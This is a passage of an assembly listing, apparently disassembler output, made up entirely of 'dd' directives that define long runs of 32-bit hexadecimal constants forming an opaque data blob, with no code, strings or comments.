dd 0BFFB751Fh, 7FF58058h, 0DEA50260h, 23035EFFh, 51BE3E1h
dd 1CB235F6h
dd 1631E30h, 0A3234C12h, 2F2A6DDEh, 0A4A6B074h, 29D901A7h
dd 7D1FEDB5h, 0A9A1809Eh, 0B0A09DDAh, 0CD034B01h, 0B81F6D24h
dd 138802F3h, 0E5AA5C95h, 55258ED0h, 0A7D1E66Eh, 601B443Ch
dd 0F8FB8B0Ch, 0C24604E5h, 0CC5096ADh, 0A4000263h, 84AA753Dh
dd 14D3551h, 0CBE41783h, 205BAE18h, 862C0FCAh, 0BF671A11h
dd 5A18D801h, 362A0E61h, 96040482h, 2F259529h, 0B41584E2h
dd 2987F21Bh, 3E29198Dh, 0E354F171h, 582DC059h, 0A87922B8h
dd 9D0BF30Bh, 975ED8CDh, 0FC62059Ah, 61506054h, 73F0163h
dd 9E92CC89h, 0C28B31D7h, 25E57129h, 3CE009CDh, 295177Ah
dd 30FCFD48h, 44F4800Fh, 0BD09F860h, 0CA245BCDh, 72F0E1FAh
dd 6FF8132Fh, 0A23A009Ch, 90FC5D66h, 0B5891637h, 0BC0BC4A5h
dd 82635915h, 0EA699531h, 0EBF55CC1h, 0AE4090CDh, 4ADFA6Dh
dd 99BD6EE7h, 0C9F5BCA0h, 0E9C08980h, 693DAF0h, 0B258B6DEh
dd 0F755301Ch, 0BE28000h, 0B3E57BB0h, 1951089h, 0A1C85E17h
dd 0F3733FABh, 265D4000h, 46973EBFh, 94046C7Ch, 245BD01h
dd 899E8C57h, 4692C5FAh, 7E20505Eh, 8229B8h, 2E41457Fh
dd 0D8CA2C5Fh, 2A036179h, 13229E77h, 0FAE428F7h, 2434269Ch
dd 0BD00DE81h, 0CB8060E8h, 6F890F3Dh, 90771F11h, 6B45F3Ch
dd 0CC391400h, 0D485A922h, 615E023Bh, 29999D2Bh, 574C2555h
dd 0BB1EF00Ah, 50725B52h, 492603BEh, 8E084DB3h, 0F5608608h
dd 0CA136A66h, 0CA76117h, 0CFAC2C49h, 7942099Fh, 9EB64E07h
dd 96B2C565h, 0FCB4E3C0h, 53603750h, 5B8008C8h, 9661C88Ah
dd 15BD258Bh, 0DC56F40Ah, 0C9381546h, 89148C4Eh, 6AB58D4Ah
dd 23766B3Eh, 4DD70416h, 0C9DFBC1Dh, 44CC79FCh, 0DD7C5946h
dd 4BD7AC2Fh, 0F6BBAB84h, 2B6F36Ah, 0F0FDF46Ch, 7C06044h
dd 40B10671h, 5A22CF02h, 0C67BE161h, 5895E7Ch, 1BF9BA7Bh
dd 3A3B3B18h, 553C0425h, 80C172C7h, 8D111EDDh, 12446C99h
dd 0B4F055E9h, 0C18B31F8h, 2F223D1Ch, 0F182B274h, 958DCF9h
dd 6960ACE0h, 0E99E5160h, 0CBC9E440h, 0E1C1000Fh, 0B6452290h
dd 7202B2DFh, 861F7020h, 1CBC243h, 3E25C284h, 330EDB3Ch
dd 0AE7339BDh, 42F11A88h, 0C4281016h, 2F15BF02h, 425E49D6h
dd 0C055ED27h, 0D245C6F1h, 0DC398402h, 5694E918h, 46501797h
dd 33028820h, 2861602Eh, 0C11EE420h, 0C236B8B6h, 87B797FFh
dd 82A7F20Fh, 5E33A6E5h, 1946DC7Fh, 0BF55027Ah, 29202857h
dd 0D34913E2h, 0BCC22D6Ah, 21E62DF0h, 0B25AB2A4h, 9E007698h
dd 3C96B4EFh, 4EE1E29h, 5C45F0E4h, 964813Ah, 0FF93B1Ch
dd 80AE092h, 91DD294Bh, 8B6A2Bh, 4F1C5093h, 5FFF7720h
dd 8B89DBD1h, 9E1A1874h, 6E9903D3h, 0CEC7917Fh, 893CC080h
dd 5FB854Bh, 81605B60h, 2334120h, 51A85E61h, 1DC80FA1h
dd 1F406DC7h, 9BFA773h, 0D3B03349h, 0D0B16A9h, 8D011F40h
dd 6A830D62h, 0E08D6D02h, 0BB6ECE6Dh, 0B11C2002h, 7A8D0F14h
dd 40398CBh, 8A507741h, 0ED7194FCh, 9F7B8B5h, 290F435Dh
dd 2C453B82h, 511A3A5Dh, 0F740005Fh, 0CD8E1285h, 92E67F3Eh
dd 0CBF20DCAh, 3AA32C9h, 8C05DEBBh, 8571C8C0h, 1D1619ACh
dd 0AF96FFDh, 0C8D7180Ah, 2CC8BD12h, 36A25DFh, 6D95CFE6h
dd 20CCC034h, 87010E0Ah, 1830D41Ch, 162F60DDh, 0FDE80415h
dd 90610132h, 0C93067B3h, 0AC203CBFh, 0F76E4Bh, 6787AF36h
dd 981DCA3Bh, 30412FBEh, 6056EA2h, 1027B09h, 0E81DDBFh
dd 7D9B2E13h, 6FC11688h, 0A24050BDh, 4EC9B5CFh, 0C8219A05h
dd 7885C019h, 472848FFh, 0B71E9181h, 1496A1Dh, 9740FA9Dh
dd 18112284h, 9DF6C624h, 14120031h, 710D30ACh, 6A8EB043h
dd 0F2D74A20h, 0B1EC0002h, 8C085FEAh, 430703D8h, 984F2455h
dd 8770E6A2h, 8D1ABh, 71E45DB7h, 47E894BBh, 0EFD21C4Bh
dd 0BD8920DBh, 5C821F05h, 273728EDh, 315D03FDh, 0EF100E40h
dd 9E005CC9h, 2594A8F9h, 163B98FCh, 17A66BA5h, 291E035Dh
dd 12FC4DBDh, 4BBFFCE4h, 4F9C4DAh, 0BA2DB1F7h, 0C5826127h
dd 8EF65E2Fh, 9D758D31h, 0E9B6B306h, 30C7F83h, 2B05C1BDh
dd 88084E85h, 79BE5D53h, 0AB218396h, 1F2F5B51h, 0A59504FBh
dd 2B23510h, 0B97EE100h, 6F154FB7h, 5B4B5404h, 9E98BFAh
dd 4EE93340h, 6096893Fh, 0FF698D63h, 11F87103h, 1F60582Dh
dd 0A55439F3h, 0E8FE2913h, 0C4B5F480h, 0DD01ADh, 2A9E2F4Eh
dd 0EE264AA0h, 0C2B0BC24h, 0B7763D20h, 8504309Dh, 7996843Bh
dd 3A3625D4h, 0BB819C79h, 7138C8E8h, 0E080B68Dh, 826E7E58h
dd 0D3862F0Fh, 5DF682DCh, 73770C73h, 181751EAh, 0F47102E9h
dd 4D8D89BBh, 5282B374h, 0D6114FB9h, 8809F447h, 9DDC133h
dd 959B729Bh, 0ED02DC44h, 5D0C4D34h, 17461Ah, 6EC387DBh
dd 1B141801h, 2DE1D404h, 7BBB5B2Ah, 4BEC021Fh, 7C952933h
dd 96FC993Eh, 0A2092F31h, 0C5C77DB8h, 0F4601BC4h, 1205E2B1h
dd 8C395415h, 494B95C1h, 25BA209Ch, 0FBBDFDh, 77B368BFh
dd 0AA1303B1h, 63A3CE62h, 5ABC8ED1h, 444AAB2Dh, 4EB000FAh
dd 0F586F9A4h, 39059396h, 9065B101h, 53D2B997h, 3B71755Fh
dd 9AAFFC13h, 0A526C038h, 0EB28E8h, 1ED3D5E9h, 7DDB8090h
dd 11AD359Dh, 0F6708A14h, 4E2E350Bh, 0A518C462h, 0A3F25224h
dd 819D107Ch, 3A66F905h, 0F1E602B7h, 0DC2BD6h, 725B0330h
dd 2776D22Fh, 61256198h, 0C43ED926h, 0CB81403Dh, 0E5771110h
dd 91D81360h, 0D578A576h, 7E9C0E4Eh, 639EF0Fh, 8E45027h
dd 0F710E50Ch, 23CE55h, 0C29E97C6h, 0D0CF805Bh, 52E1FF31h
dd 383A03C5h, 0F3CCF65Ch, 970D6E89h, 0FE0B1167h, 896C03h
dd 2BC52750h, 138F9699h, 448A324Eh, 2A2EAD28h, 0B085C19Dh
dd 0E2884AB8h, 0EEB7804Ch, 0FE42B903h, 2A0A9DC8h, 0B000DECEh
dd 0C727222Ah, 5C077F34h, 5D3F4049h, 92284CEh, 3D2F8B9h
dd 80012D45h, 0CB2B2E59h, 38A64E1Ah, 0CB7060A1h, 17F95411h
dd 0EC5D5476h, 20149061h, 989713EDh, 49BD0B06h, 80038B2Dh
dd 5250AFE7h, 0BF36045Bh, 0D6C79808h, 0BBF7B40Ch, 7D976509h
dd 9AEDDD5Bh, 34F42CE0h, 64DEA20Ah, 23CA1C4h, 2EFA8B11h
dd 0FC3A3529h, 51C880D5h, 129A55B1h, 187715Ah, 0E6C640BDh
dd 0D4C32F2Fh, 997D96D9h, 0B4A3803Bh, 0E95736BAh, 28B5B38h
dd 0DF917FBFh, 99F26422h, 0FB9D8047h, 8B2FE106h, 8DEB9C00h
dd 5882BD01h, 75B52E29h, 0B95BA5EEh, 6A181559h, 1FCF404h
dd 42D78D95h, 0A989A96Eh, 0A42E7954h, 0A175274Eh, 0B4E95FE7h
dd 4BB72B24h, 3AF9CDE0h, 7B25606Eh, 9D0400DBh, 2B3905E5h
dd 1E81B1DAh, 0F8A5CAF3h, 0C8C926E3h, 42F579A1h, 25C8F0Fh
dd 702F962h, 0FDDBB989h, 1967C70h, 0A5AD6054h, 2184E62Dh
dd 0FBD582Fh, 8264875Fh, 962DDFB8h, 0F5007FE4h, 0F651A705h
dd 1C42FEEAh, 0C0FF7DE7h, 7430A050h, 432EA2D9h, 0B60BF22Ah
dd 4880F8BAh, 0FBC46989h, 8D6EAE96h, 0E6161C00h, 95DDFEBFh
dd 6A1C613h, 0C55690AFh, 3C016822h, 25F8893Bh, 0CCC0EA98h
dd 0AD81017Bh, 1CB3F9BCh, 45B9425Fh, 0B557F94Ah, 801A91C7h
dd 67125478h, 0EE7739Ch, 0C1875568h, 12808129h, 3E5D7CAAh
dd 41B58909h, 0A5CC7B0Dh, 0C02FB682h, 19110656h, 0E2106025h
dd 0FF01D1ACh, 21D3A6EBh, 388083BFh, 725F940Ah, 0F04B8B6Bh
dd 920BCAD5h, 760929C9h, 1A46D6B1h, 9F890800h, 5BAB71B6h
dd 15BB5200h, 5F2621E9h
dd 6A2AAD61h, 0D453010Eh, 20B6C2D9h, 8D9C916Dh, 89BBC525h
dd 9871FE8Ah, 0A7EA3A44h, 0C785A018h, 0D6620222h, 8E99B38Ah
dd 64018AC6h, 11AD14EAh, 20F1619Bh, 0DBFC206Eh, 9D9791D7h
dd 7B4DD2A4h, 0D6A94164h, 3207DAB8h, 8485D9F1h, 544AEA62h
dd 6A1940D0h, 0A001B5B8h, 4FB926EFh, 842F20E7h, 454EC522h
dd 0CA1BF1C8h, 9D834B84h, 0F67BA5D5h, 0FBFF6100h, 6E458A38h
dd 2BC47302h, 5D08259Dh, 9E61731Ch, 0D9B53161h, 9A2AC535h
dd 0C01AC825h, 637ECBD2h, 564EB212h, 0A64B9FF7h, 3708A0D9h
dd 0FB0F7F07h, 1BB78114h, 1D303BADh, 4AD59D0Bh, 4BC7F70Ch
dd 821665B0h, 0DCE9825Ch, 0C702D4E1h, 13995BBFh, 0ACAC907h
dd 66575000h, 8825F0FCh, 0E995615Fh, 0C87D4E43h, 563E81FAh
dd 0F825B061h, 602D5AE6h, 0DF8968E8h, 8F67009Bh, 7A86D45Ah
dd 43B8CE59h, 64B07F9Eh, 9704D18Dh, 100DCBC9h, 0A19A02h
dd 0A97D4192h, 0CE424F6Eh, 8B98152Ah, 60444F97h, 0A1AEEA46h
dd 0F70ADE76h, 0C6702A0Eh, 7422BE09h, 0A1CDE977h, 8BD1AB42h
dd 5A75EBAAh, 0B89B940Ch, 0F781C081h, 5B60DC67h, 0BF95D819h
dd 0BBB55F07h, 0E24DF71h, 290441BCh, 0BC083D9Dh, 0B7A6921Fh
dd 0BF58D6E2h, 35DC324Bh, 129A97F5h, 826FD0FEh, 22AB5BDh
dd 9E51CFB7h, 201818D9h, 52532809h, 0AC7850A4h, 54A79824h
dd 208D3A88h, 5F5A2475h, 2622E88h, 0D6206886h, 0C5C011B8h
dd 0EC25568Ch, 1217EC29h, 565019B7h, 0E4538962h, 1C0354A2h
dd 90560913h, 1E1B7C1h, 464912B8h, 0F82CC301h, 569B302Eh
dd 0E134BD03h, 84AC9528h, 0B2B56A2h, 85990AC4h, 5269360h
dd 9D6B01EAh, 0F98C3707h, 0F7122A5Fh, 36A0D88h, 323F68DBh
dd 55E84A64h, 0F013FC3Dh, 0AD0CB5ADh, 4E7D9831h, 9B2DC48Dh
dd 0D513DF45h, 0ECBA3F44h, 19AC76B9h, 0FD21028Ch, 0A79B1F1Bh
dd 14312E41h, 858EAFADh, 0C6DD0F29h, 0C4C2000Bh, 51938E40h
dd 8A0AA06Ah, 4A72C9DDh, 66A5A648h, 68E497A5h, 0FCADC100h
dd 53A458C0h, 0B28897EEh, 0E25B92D0h, 4F7C8BB8h, 899B6095h
dd 0BE090C18h, 73958815h, 526DADD5h, 0F0A96343h, 0BD375DCh
dd 0B526433Eh, 85956B50h, 0FAAC60CCh, 0E317D883h, 176340F2h
dd 5804278Ah, 85328Ch, 0C70E4A98h, 0FA8F07E5h, 2F80572Eh
dd 0B7615E02h, 58EE5C79h, 0E9E4DF80h, 0FFF3AF1Ch, 54B765h
dd 0E1F626A2h, 0CB04353Fh, 0C18B5C6Bh, 0AC0509Bh, 8C0FCB6Ah
dd 29190660h, 9733358Dh, 124009BAh, 90810C01h, 0B71CA460h
dd 267FF2B8h, 0F915C900h, 84DC6535h, 14D10113h, 0B5E88862h
dd 85AB24D0h, 505B6B0Eh, 0B7906B51h, 1FD38E1Ah, 2F90667h
dd 0D0CF6A05h, 6FA2DC44h, 0EF020F74h, 0BBADE828h, 0F54FCC50h
dd 7145D34Ah, 8B01EE64h, 939D499h, 33B87979h, 7807BC27h
dd 0A3315288h, 0E0ECC380h, 44001BA4h, 25BFF389h, 23D0BB5h
dd 0D4ECB82h, 6381E9F5h, 60D99924h, 4707F458h, 0D59B258Dh
dd 32E7C180h, 399409BCh, 0A282104Ch, 0E4CD05C0h, 30D387E1h
dd 0B6C94F8h, 0BB236411h, 31FDF461h, 0E3AE21EEh, 315EF0D1h
dd 0C4692C9Eh, 45EFE4B7h, 12D98B7Fh, 0C0B2A8F9h, 88B654ACh
dd 0FFFC9FFCh, 0C68204DEh, 90B29190h, 0F9BF0FEAh, 9EFDEE95h
dd 2F00D4DDh, 0B2FFE26Ch, 5F8FAD52h, 20081220h, 0CF195B5h
dd 76BA0DD0h, 270E4E97h, 0C10B850Fh, 360077E6h, 0E89D123Ah
dd 201D770h, 2CAAEDA7h, 0EBECD1FFh, 80BBA13Eh, 5B3C8876h
dd 974BFE85h, 3EFA710h, 0E00483FAh, 5AC74355h, 54125DACh
dd 0C85CF274h, 9AEA6B6h, 2F79078Dh, 4345EDA5h, 0B8C8074Fh
dd 505A9B7Ah, 0CC8520AEh, 0AF74B5E1h, 7B8EF800h, 0BB13872Bh
dd 7A2C0940h, 18225A55h, 0B874FE8Bh, 5AB4E225h, 82379DD3h
dd 66368E0Eh, 62A8FFCFh, 0F8D86065h, 7DBE55ECh, 25A209DCh
dd 0BB185DBAh, 7A0046CDh, 0A36E7519h, 1712E7Bh, 0C4DFF833h
dd 3079A00Fh, 0E9F21804h, 71CE224Bh, 0A722A326h, 7B00F637h
dd 3EB8ABEh, 6B5C0BA4h, 6064EDBFh, 0C7936400h, 809A4050h
dd 5F712AF7h, 283795B8h, 2252B709h, 5D1B817Eh, 9DE34D3Bh
dd 38DD1DEAh, 11B82BBh, 0FE39468Ah, 0F4450697h, 7900F64Eh
dd 3E140D67h, 9790509Eh, 0BC1F24B7h, 0F5E203D7h, 3202B000h
dd 1DAD6849h, 0E58AD800h, 0D4193BACh, 0CB2B259Fh, 81826DD3h
dd 5E30A7F3h, 0DE57C66Bh, 4D099D4Bh, 9F4F795Bh, 83411233h
dd 6DB22352h, 0FF96A956h, 0BE80D4B3h, 0AC19E3ADh, 0D4980F0Bh
dd 15B9824Ch, 60484F0Dh, 3EFEAEF1h, 412DF5B8h, 44D7D133h
dd 0F56040E1h, 0B6CDB58Bh, 0B0610ECFh, 598D3101h, 0B5E93E23h
dd 0D21BD08h, 45868947h, 57259721h, 0E79B30B8h, 8B9733EEh
dd 210C0656h, 0F0BDF45Fh, 5CB3971Eh, 5FC5A634h, 25783AF8h
dd 4CE40A65h, 59953117h, 0BC3E47F5h, 315587Fh, 0C82B12A6h
dd 66D1E2FCh, 0FECD03A0h, 764C57C3h, 0DCDC8AD9h, 64ECFD6Dh
dd 0CB8023C0h, 32BD2371h, 855B2BCDh, 0B3894656h, 0F64A7881h
dd 120ADCDFh, 1036F4F9h, 54BD0188h, 53E9F199h, 0CF098137h
dd 3E79FB59h, 410B06A6h, 0C5B4742Eh, 4034BB1Dh, 59343B9h
dd 8904ED19h, 8B4E0125h, 34652FDEh, 73391B0Bh, 61EC7815h
dd 89290B3Ah, 544C4EA8h, 0D273276Eh, 8D717772h, 709F826h
dd 0A52D7BFDh, 8740F14Dh, 0FCB833B1h, 8580AD4h, 61F6558Fh
dd 0F816DAE8h, 6C00E41Ah, 0BF739741h, 4EBD29A5h, 0B9E50455h
dd 2AEDB18Ah, 0AD81AEDBh, 2FD7A44Ch, 94F11F12h, 702953D2h
dd 0B5260162h, 73A51905h, 8E38523Eh, 10000C8Ah, 95B34634h
dd 9719E8FCh, 0E3711692h, 6199DC00h, 79FD76Eh, 0C8933734h
dd 0BB74152Ah, 0E4D8186Ch, 8331F987h, 30BBACE3h, 8F1FDFE4h
dd 0A1F246B7h, 0F9022E87h, 0B727A479h, 0C9F680FBh, 75201DC5h
dd 0B38C3F4Bh, 0FD309BFh, 0B27103AAh, 39D97F7Ah, 48BCF7F8h
dd 0BD27786Bh, 0EEB35BF2h, 16966525h, 0B2BDE74Dh, 1619DF42h
dd 650F478Dh, 1B8B81h, 9DA11F41h, 25D573B5h, 0BDC645A5h
dd 1120BA90h, 0E1FF242Dh, 0AD409C5h, 4142A671h, 0A9A42F04h
dd 4B493C21h, 0A0A2B704h, 6158BD27h, 1AFB947Bh, 0C9673151h
dd 0B1597807h, 0E215DC86h, 0C00D1FE1h, 394F2B80h, 397BF305h
dd 0CF02F5DEh, 60CE21E0h, 52E0C54Dh, 54BD2B53h, 5F964Dh
dd 0C07020BFh, 51F96073h, 5A08B509h, 98EF7061h, 2895258Ch
dd 928EF79h, 0BBE0F49Dh, 0F34AA53Dh, 18316D9h, 13E8D6EDh
dd 9EE697h, 0CFA94BBFh, 1DB58928h, 0FD9B264Bh, 40C01DC8h
dd 0F421761h, 0ED86A146h, 0F75E8149h, 50517BEBh, 909D9095h
dd 0A21507h, 68B674A7h, 0FF735770h, 13ACDD09h, 1567C60h
dd 612122BEh, 62036A5Fh, 0FF90D9C5h, 0C12AB9D1h, 0AAE9BA70h
dd 979EF8BEh, 630080B7h, 980E95D5h, 0B140318Dh, 2FBA766Ch
dd 976F1329h, 0F492CD3h, 0E40A8F2Fh, 729B736h, 585AC883h
dd 0DD320DA7h, 0E4FF1489h, 0A0194BDh, 2317184Ah, 32F897BCh
dd 0BBB1008Bh, 60C4DFFDh, 0BF04585Fh, 1AD8D7EDh, 0E6973EACh
dd 318AF0DBh, 0AE6F0B4Fh, 2682868Ch, 0A40C2D05h, 9F85F2DFh
dd 6FC0F06Fh, 10091A7Bh, 120E7595h, 78569FE9h, 16609313h
dd 97C02BEFh, 224A2C9Bh, 0D161BE3h, 0D31CED23h, 2B63C8FAh
dd 0ECC87500h, 5B53A8B7h, 5A83FF5Fh, 61E593E9h, 0D32DBC8Ch
dd 0C194DABFh, 0B051D9A5h, 4E08C031h, 8A014085h, 27A7D94Bh
dd 19E2CD42h, 39AE9830h
dd 8F85F0A7h, 4820890Fh, 0B7801277h, 3EC5E0D3h, 4004005Dh
dd 0E9116BCEh, 0F4059383h, 5E444C4Dh, 27CD24C1h, 6896100h
dd 0E65AEC4h, 0F55A0DCAh, 3EB9FDFCh, 0B2B46BD4h, 0E2F682DEh
dd 23F9FB40h, 29E21CBEh, 0B1A68034h, 0E0D0DE1Ch, 3C77D800h
dd 9DBFD538h, 5A2F1741h, 3482A05Fh, 0C038245Ch, 9AAACB8Eh
dd 4E4B00B9h, 0C31DA68Dh, 9297B7BCh, 412E4F1Ah, 0FCB868DEh
dd 4695DD74h, 0FECEC93Ch, 470B1D78h, 4D22AAFFh, 4A58C018h
dd 755B0DCEh, 0B1F0FB20h, 24DB2626h, 48021105h, 8D5B0B03h
dd 2593CC85h, 0D8445350h, 5E099DE0h, 0F410B9D1h, 0DD8A8963h
dd 11FCF432h, 61AD3D07h, 36A4DB50h, 8B494B7Ah, 0A2FC2CECh
dd 88526513h, 0E985F1B6h, 0E2B4E350h, 0A1013019h, 0B5A70B7h
dd 918D2933h, 0BFA89D7Eh, 0B655BE0Fh, 0F2ED890Bh, 8E5B4B14h
dd 0DA6BE9F1h, 0B6A68004h, 9F71D8FAh, 0A8F86890h, 315DAD00h
dd 51ECA2B8h, 9B7F4E8Dh, 31A38087h, 2DDAFD86h, 0C2C1B989h
dd 0ED382E0Ch, 263E8BCAh, 0F705C88Dh, 7AFF0364h, 5B9F02D6h
dd 5462D5DEh, 0D1FBE2C9h, 54E9C55Ch, 0DD01D4CBh, 9D971BF5h
dd 58892D9Bh, 2C717F53h, 0F1892FBCh, 0E35F1235h, 2DF24EB9h
dd 508A8282h, 25A159D5h, 280B0B70h, 663AD776h, 11599127h
dd 0D7257C13h, 3920DEB1h, 7674E780h, 0A8B9F941h, 55425405h
dd 846208ADh, 11BA57FCh, 24BEB557h, 20410454h, 0ACA7B969h
dd 53168C15h, 5F6450EDh, 5BE531EFh, 2975F631h, 0AEAF5B88h
dd 0E000D41Ch, 5D83F32Dh, 254893B7h, 0EF64F81Bh, 0AF174400h
dd 5BA2C1DEh, 0EEA30273h, 30E71FD7h, 8269BE5Ch, 32B294Ah
dd 0E1C406B7h, 0CB9E7F1Ch, 0AAEC2D80h, 0EF0E6D95h, 20600C0Dh
dd 2ABAF08Bh, 483FE41Ch, 0BD082B61h, 581E0519h, 2526D26Dh
dd 0EAC2D8BFh, 22126CD4h, 0FB7ECEE7h, 853481DDh, 0D51A975Fh
dd 0BDD0ADC3h, 14FF0F71h, 0ECB8C8FDh, 85365249h, 55E3E7B3h
dd 12F76027h, 6D1E8566h, 4962ED27h, 9661020Bh, 0B71C7146h
dd 0FEA34Ah, 2D9A06C2h, 1993FD5h, 0C8C7CB2h, 2AB3B9F2h
dd 0AAA7EB83h, 7003D396h, 9E0A0345h, 0F0A20F56h, 0A845517h
dd 806B2AAEh, 4182A327h, 0A657094Dh, 8662F607h, 0C6257356h
dd 0B1525011h, 32769F85h, 1011C525h, 0F58B8957h, 0D30202EEh
dd 0B7A77BBAh, 8A0457FDh, 3E0FEE2Fh, 35F912FBh, 0E804C5B8h
dd 0F950D648h, 0A29E13AAh, 2E4600F4h, 0F26C1F56h, 525E0D9h
dd 529341D0h, 0D8AAB0E4h, 0CC5B7225h, 0DBBF25C8h, 0F94AEEC6h
dd 18B262F6h, 1C4BB30h, 53400D5Bh, 52B1BD0Bh, 0FD5C5FA1h
dd 0C4696D69h, 0A205BCF6h, 7ABDDD59h, 2855D8ADh, 25F7F5DEh
dd 0DD730D19h, 0C670EAAAh, 0E129CDB5h, 66890F75h, 0ACF30935h
dd 6CE2711Ah, 0E91DFF6Eh, 0DE3AF403h, 0C225BC2h, 1B4495A2h
dd 0F3B7B5C1h, 0F1016809h, 0CA44A705h, 84F7F55Ah, 7936A5Fh
dd 0CCDB8E98h, 0FA91E8E0h, 0D2BD7201h, 57E4A0C1h, 44409095h
dd 0AE0E0053h, 30B172FDh, 5B71F0FFh, 5175B4B0h, 0FA9A8282h
dd 2537F590h, 17F02680h, 5B00DCBh, 509A75ADh, 6223AA29h
dd 0CA5A405Fh, 7F5E1D1Eh, 0A3F7830Eh, 1CB6C968h, 0B930605Bh
dd 5056F580h, 2DCB9661h, 637A39E3h, 615D080h, 9BB5080h
dd 55ACBC28h, 0BD792157h, 0AE49326Dh, 92251030h, 0C33D9DBCh
dd 2205403h, 0E4C5AD42h, 0E62ABBE5h, 3115B24Eh, 3E32A876h
dd 125EC4B7h, 30174EEFh, 471F771Eh, 0C0FA0E12h, 810E4AE3h
dd 8A0198DBh, 3DD1FF04h, 192B810h, 2953C072h, 9F31DD85h
dd 0E8725B86h, 95B9D21Dh, 0A54B4394h, 19B075A7h, 6E396DDAh
dd 5695898Bh, 1E60042Bh, 0F5026A01h, 6EF9F990h, 0B0DEB8Ch
dd 7EF37237h, 906B5CD1h, 38A7F5h, 3B931896h, 0A4D37B16h
dd 5F28AC62h, 70B15B90h, 0DA0B0D25h, 44EFACF9h, 0BB4B9F18h
dd 8A1FC4D0h, 0CE0FB207h, 234DE978h, 0BD52FDDCh, 881E99ECh
dd 17893F84h, 0C2B05C5Fh, 325C0F69h, 95E3D558h, 1F40A3CFh
dd 171A446h, 4E1CBB29h, 6A515019h, 2CA89012h, 0CDDB5F2Fh
dd 0A0D78373h, 25C1F646h, 0A573150Ah, 3DD35A5h, 0F8C69AE9h
dd 2B63C78Ch, 1826E902h, 0CDCBFA56h, 0EA72CB16h, 0CC6CB725h
dd 0B3601316h, 0D21D130Ch, 185C61BFh, 4077D469h, 4CF2282h
dd 0E70E2A01h, 0D82BDEB9h, 6AF13FC5h, 0A9074223h, 47942C31h
dd 0E457A397h, 6A5B62E8h, 0EBB3FF17h, 12390002h, 90B7FD35h
dd 0CEEE6881h, 612E11B7h, 77012B1Ah, 3BAB0092h, 4D3DECCEh
dd 2680E0B0h, 8A394F3h, 0E60A23A9h, 9602B570h, 4071E442h
dd 972EE1C7h, 2FFF1D19h, 53DDDCh, 0AFF509C0h, 9A2D518Ch
dd 0B7040204h, 2BB85FDDh, 591D5460h, 0C695B9B3h, 11218081h
dd 0DF3300DEh, 20EAB8A9h, 785882F8h, 8884BBAh, 0AEC008Dh
dd 46141552h, 0D43CA993h, 45D387EFh, 7009995Dh, 0DE8A253Fh
dd 0EB8139C0h, 1851F609h, 0C03B7057h, 17B3BC12h, 0D15B8B56h
dd 901C6B36h, 357C3F29h, 875989A7h, 84E95F05h, 4ED31300h
dd 0B858B30Ah, 0A543B65Bh, 14FA3F69h, 991230ECh, 0B43E4E4h
dd 0E93598BDh, 0FA08A95Bh, 333E342Eh, 8D0388Ch, 0D023D2Ch
dd 2AA296E2h, 44485CBCh, 5D8F2239h, 64120598h, 854F3897h
dd 410542E5h, 510C8B17h, 2F5329h, 0AABD9910h, 0CF02A91Ch
dd 3D95FA85h, 0C2645CBCh, 0B5125C5Eh, 299181C3h, 0AF89CDD9h
dd 5B62C34Ch, 5066E4Ah, 0FC786CCDh, 80B865AFh, 0B96DA02Dh
dd 5ADDA449h, 16456BEAh, 1C05CBDEh, 90819D9Eh, 0AC04048Dh
dd 0A3F64B30h, 413DB7E7h, 6E0D9529h, 5AB2CD4h, 0AF26C150h
dd 1C23B56Eh, 27DD360Eh, 0AB7178B2h, 207EF982h, 0F318F66Ch
dd 8BB39C0Fh, 0AEC0C0F0h, 7EB7341Fh, 196B0660h, 90ECAB64h
dd 0A110B931h, 0DB2AD22Bh, 0D83589CEh, 2B2D412Bh, 8160623Dh
dd 0DE225BCDh, 69D08422h, 11648Ch, 0FB6A5A2Dh, 29392BA5h
dd 0D0E6F104h, 0A7FF880Dh, 5B82A0D1h, 886C4F93h, 0B8075CDEh
dd 0CE4F2AA7h, 8CF3D954h, 1C05FA62h, 0D73F3A57h, 1664DC17h
dd 39BF5760h, 2DD278DCh, 4552888h, 79853124h, 0E38BB827h
dd 7ABB857Eh, 0B50C124Dh, 112102B1h, 35E882D6h, 800F030Dh
dd 61712D70h, 91F3B84Ah, 9E3018F2h, 4B13FED9h, 78A68D71h
dd 39F08069h, 171E70h, 9E5D6819h, 97E25488h, 0C4E1FF2Dh
dd 87E30085h, 48A94F9Bh, 2EE35B41h, 4014BC28h, 9D102905h
dd 600125EDh, 0D78A5856h, 0C2282E61h, 38054D16h, 8904D0ECh
dd 97871FB7h, 720F22A2h, 16A1E198h, 3FB471A9h, 0B2D27BECh
dd 49E84CDh, 8D295201h, 5F8B3475h, 0DCF6605Ah, 2A09FEE4h
dd 9DAF708Eh, 0A104F3B7h, 0C7B8628Eh, 81039B4Bh, 0DD9D33ECh
dd 2C4942Ch, 22E2B930h, 12BF76D1h, 0A30DD320h, 126848ADh
dd 8CB91B69h, 0F5EF80C0h, 5C27B390h, 0F8991350h, 5E123EAh
dd 0EF673BA2h, 2A05BEC7h, 1340905Fh, 81C8F031h, 865405FCh
dd 824108FAh, 0C8ABD96Ch, 0EADBF80Bh, 18AEA78h, 37C0419Fh
dd 2E30954Fh, 9F607E28h, 70F2D390h, 8C3BD100h, 1A27FFBDh
dd 0F63C5AE5h, 8060249Ch, 0F79C5760h, 424F241h, 5658FAB0h
dd 50D1825Eh, 0B900A746h, 9DEB8C09h, 3C7E587h, 0B8D4E4C2h
dd 0B75A8B6Fh, 168BCC8h, 0B1C439DCh, 0AD8B6A52h, 9F6B10F6h
dd 2BFE0065h, 40DE0CB8h, 0F3C0D18h, 45FF8E53h, 111B62C1h
dd 588B915Bh, 0BAB8D52Dh, 0FBD54100h, 9D31081Eh, 0B20B4A01h
dd 0AC6BD314h, 0ED8D9F00h
dd 0C55174C8h, 53E7D509h, 0E9ED8260h, 0F8436E10h, 6CAD0171h
dd 4D0EB058h, 4E83CCCEh, 0E461F531h, 227D6F85h, 75C3EECh
dd 0D36700F9h, 40E95F57h, 0FEFBD02h, 0E2AD3740h, 2451CF6h
dd 98C597B5h, 0B2BCBD5Ch, 0A6A28997h, 14E95608h, 0A0F1B68Fh
dd 0FBE19AC2h, 0F7F4Ah, 16361B0Eh, 0AF902448h, 5F7A3112h
dd 132D30F5h, 290003E8h, 0BF9A33ABh, 5AA6202Eh, 0E3E91227h
dd 895E794Ch, 8D4B4DF6h, 458E203Eh, 3EA2105Bh, 0A0C1F6D6h
dd 0BC6EC678h, 768C0201h, 627E0689h, 7B2A0BDCh, 0E30E71B7h
dd 127B2529h, 86CB64B0h, 9819865h, 100BF413h, 3E901D78h
